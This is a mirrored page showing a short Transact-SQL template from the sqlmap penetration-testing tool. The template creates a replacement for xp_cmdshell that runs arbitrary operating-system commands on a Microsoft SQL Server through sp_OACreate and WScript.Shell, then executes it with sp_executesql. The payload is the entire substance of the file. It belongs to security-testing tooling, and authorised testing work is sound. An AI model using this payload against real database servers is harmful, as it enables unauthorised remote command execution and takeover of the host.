mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 09:57:38 +03:00 
			
		
		
		
	
		
			
				
	
	
		
			4 lines
		
	
	
		
			271 B
		
	
	
	
		
			Transact-SQL
		
	
	
	
	
	
			
		
		
	
	
			4 lines
		
	
	
		
			271 B
		
	
	
	
		
			Transact-SQL
		
	
	
	
	
	
DECLARE @%RANDSTR% nvarchar(999);
 | 
						|
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
 | 
						|
EXEC master..sp_executesql @%RANDSTR%
 |